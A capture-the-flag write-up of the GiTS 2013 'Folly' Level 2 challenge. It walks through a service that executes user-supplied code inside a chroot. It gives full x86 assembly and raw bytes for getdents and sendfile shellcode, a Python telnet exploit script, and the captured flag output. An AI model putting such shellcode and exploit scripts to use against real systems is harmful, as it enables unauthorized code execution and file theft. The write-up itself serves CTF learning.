code hacking, zen coding

GiTS 2013 CTF – Question 17 Trivia 400 – Folly – Level 2 x86 chroot (getdents shellcode)

folly-b2632babf6ce9c2378630e364150ee2c84f47b73: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped

Folly was a multi-level challenge from the Ghost In The Shell Code CTF. This Write-up is for Level 2 based on the X86 architecture.

It’s a sample text-game like this:

$ nc folly.2013.ghostintheshellcode.com 5679
Hola! I am Sancho, who are you?
Don Quixote de la Mancha
Hello! Are you ready for your adventure?
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>M
Sire! Let me help you onto your steed.
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>A
Just then they came in sight of thirty or forty windmills that rise from that plain.And no sooner did Don Quixote see them that he said to his squire, "Fortune is guiding our affairsbetter than we ourselves could have wished. Do you see over yonder, friend Sancho, thirty or fortyhulking giants? I intend to do battle with them and slay them. With their spoils we shall begin tobe rich for this is a righteous war and the removal of so foul a brood from off the face of the earth is a service God will bless."

"What giants?" asked Sancho Panza.

"Those you see over there," replied his master, "with their long arms. Some of them have arms well nigh two leagues in length."

"Take care, sir," cried Sancho. "Those over there are not giants but windmills. Those things that seem to be their arms are sails which, when they are whirled around by the wind, turn the millstone."

What will you shout as you attack the giants?
TEST
Sire, what should we do?
  (S)earch for your lady love, Dulcinea del Toboso
  (A)ttack Giants
  (M)ount Rocinante
  (Q)uit

>Q

You have to first “Mount Rocinante” before you can “Attack Giants”. Let’s focus on the attack:

First a RWE buffer is allocated with mmap:

.text:08049025                 mov     dword ptr [esp+14h], 0 ; offset
.text:0804902D                 mov     dword ptr [esp+10h], 0FFFFFFFFh
.text:08049035                 mov     dword ptr [esp+0Ch], 22h ; flags
.text:0804903D                 mov     dword ptr [esp+8], 7 ; prot RWE
.text:08049045                 mov     dword ptr [esp+4], 1000h ; len
.text:0804904D                 mov     dword ptr [esp], 0 ; addr
.text:08049054                 call    _mmap

At most 1024 bytes is read from the socket to this buffer:

.text:08049059                 mov     [ebp+addr], eax
.text:0804905C                 mov     dword ptr [esp+0Ch], 0Ah ; int
.text:08049064                 mov     dword ptr [esp+8], 400h ; int
.text:0804906C                 mov     eax, [ebp+addr]
.text:0804906F                 mov     [esp+4], eax    ; int
.text:08049073                 mov     eax, [ebp+fd]
.text:08049076                 mov     [esp], eax      ; fd
.text:08049079                 call    readUntil

Code checks if the buffer starts with 0xe7ab444b:

.text:0804907E                 mov     eax, [ebp+addr]
.text:08049081                 mov     [ebp+var_10], eax
.text:08049084                 mov     eax, [ebp+var_10]
.text:08049087                 mov     eax, [eax]
.text:08049089                 cmp     eax, 0E7AB444Bh

It it does, the code calls the buffer (jumping over the 4 bytes signature at the beginning):

.text:08049090                 mov     eax, [ebp+addr]
.text:08049093                 add     eax, 4
.text:08049096                 mov     [ebp+var_14], eax
.text:08049099                 mov     eax, [ebp+fd]
.text:0804909C                 mov     [esp], eax
.text:0804909F                 mov     eax, [ebp+var_14]
.text:080490A2                 call    eax

Simple right ? Almost except a few details:

– chroot() is used to restrict the process to its home directory
– there is no shell (/bin/sh) in the chroot
– you cannot escape the chroot with the classic mkdir()/chroot() trick

We started with a custom shellcode that would open a “key” file and send it to the socket but there was no “key” file.

So we designed a custom open()+getdents() x86 shellcode. Here it is:

BITS 32
GLOBAL _start
_start:
    jmp get_eip
 
run:
    xor eax, eax
    xor edi, edi
    inc edi
    inc edi
    inc edi
    inc edi

    ; fd = sys_open(".", 0, 0)
    add eax, edi    ; sys_open
    inc eax
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    test eax,eax  ; file exists?
    jz error

    mov ebx, eax  ; fd

    ; getdents(fd,esp,0x1337)
    mov edx, 0x1337 ;size
    sub esp, edx    ;make room on the stack
    mov ecx, esp    ;buffer
    mov eax, 0x8d   ;sys_getdents
    int 0x80

    mov edx, eax    ;size

    ; close(fd)
    mov eax, edi ; 4 + 2
    inc eax
    inc eax
    int 0x80 ; fd in ebx
 
    ; sys_write
    mov    ecx, esp    ; buffer
    mov    ebx, edi    ; fd 4
    mov    eax, edi    ; sys_write
    int    0x80 ; size in edx

    add esp, edx

error:
    ; sys_exit
    xor eax, eax
    inc eax
    xor ebx,ebx
    int 0x80

get_eip:
    call run
 
filename:
    db '.', 0x0

And the python part, with a decoder for the raw getdents buffer that we send:

import telnetlib
from struct import pack, unpack

def decode_getdents(getdents):
    index = 0
    while True:
        entry_len = unpack('<H', getdents[index+8:index+10])[0]
        getdent = getdents[index:index+entry_len+1]
        inode = unpack('<I', getdent[0:4])[0]
        filename = getdent[10:10+entry_len-2]
        yield inode, filename
        index += entry_len
        if index == len(getdents):
            break

host = 'folly.2013.ghostintheshellcode.com'
port = 5673

tn = telnetlib.Telnet(host, port)

tn.read_until("Hola! I am Sancho, who are you?")

tn.write("Don Quixote de la Mancha\n")

tn.read_until(">")

tn.write("M\n")

tn.read_until(">")

tn.write("A\n")

tn.read_until("What will you shout as you attack the giants?")

# Level 5673
buffer = pack('<I', 0x0E7AB444B)

# custom open('.')+getdents()+write()
shellcode = "\xe9\x41\x00\x00\x00\x31\xc0\x31\xff\x47\x47\x47\x47\x01\xf8\x40\x5b\x31\xc9\x31\xd2\xcd\x80\x85\xc0\x74\x24\x89\xc3\xba\x37\x13\x00\x00\x29\xd4\x89\xe1\xb8\x8d\x00\x00\x00\xcd\x80\x89\xc2\x89\xf8\x40\x40\xcd\x80\x89\xe1\x89\xfb\x89\xf8\xcd\x80\x01\xd4\x31\xc0\x40\x31\xdb\xcd\x80\xe8\xba\xff\xff\xff\x2e\x00"

print "shellcode len=", len(shellcode)

buffer += shellcode

s = tn.get_socket()
s.send(buffer + "\n")

for (inode, filename) in decode_getdents(s.recv(0x1337)):
    print inode, filename

data = True
while data:
    data = s.recv(1024)
    if data:
        print repr(data)

Result:

$ python folly.py
shellcode len= 77
531277 ..
531278 .
531279 flag

So the file is called “flag”, let’s get it with a custom X86 sendfile() shellcode:

BITS 32
GLOBAL _start
_start:
    jmp short get_eip
 
run:
    xor eax, eax
    inc eax
    inc eax
    inc eax
    inc eax
    mov edi, eax
    xor edx, edx
 
    ; fd = sys_open(filename, 0, 0)
    mov eax, edi
    inc eax       ; sys_open
    pop ebx       ; filename
    xor ecx, ecx  ; flags = 0
    xor edx, edx  ; mode = 0
    int 0x80

    ; sendfile(int out_fd, int in_fd, off_t *offset, size_t count)
    mov ecx, eax  ; in_fd
    xor eax, eax
    mov al, 0xbb  ; sendfile() syscall
    mov ebx, edi  ; out_fd
    xor edx, edx  ; offset = 0
    mov esi, edi
    shl esi, 8    ; size (4 << 8 = 1024)
    int 0x80

    ; sys_exit(0)
    xor eax, eax
    mov al, 1 ;exit the shellcode
    xor ebx,ebx
    int 0x80

get_eip:
    call run            ; put address of our message onto the stack
 
filename:
    db 'flag', 0x0

Result:

$ python folly.py
shellcode len= 61
'There is no book so bad...that it does not have something good in it.\n\nHowever, our adventure still awaits!\n\n2013.ghostintheshellcode.com/folly-9a062bfbc9c4bd0aaafbc80dbc9facc942319b73\nfolly.2013.ghostintheshellcode.com:5674\n'
Share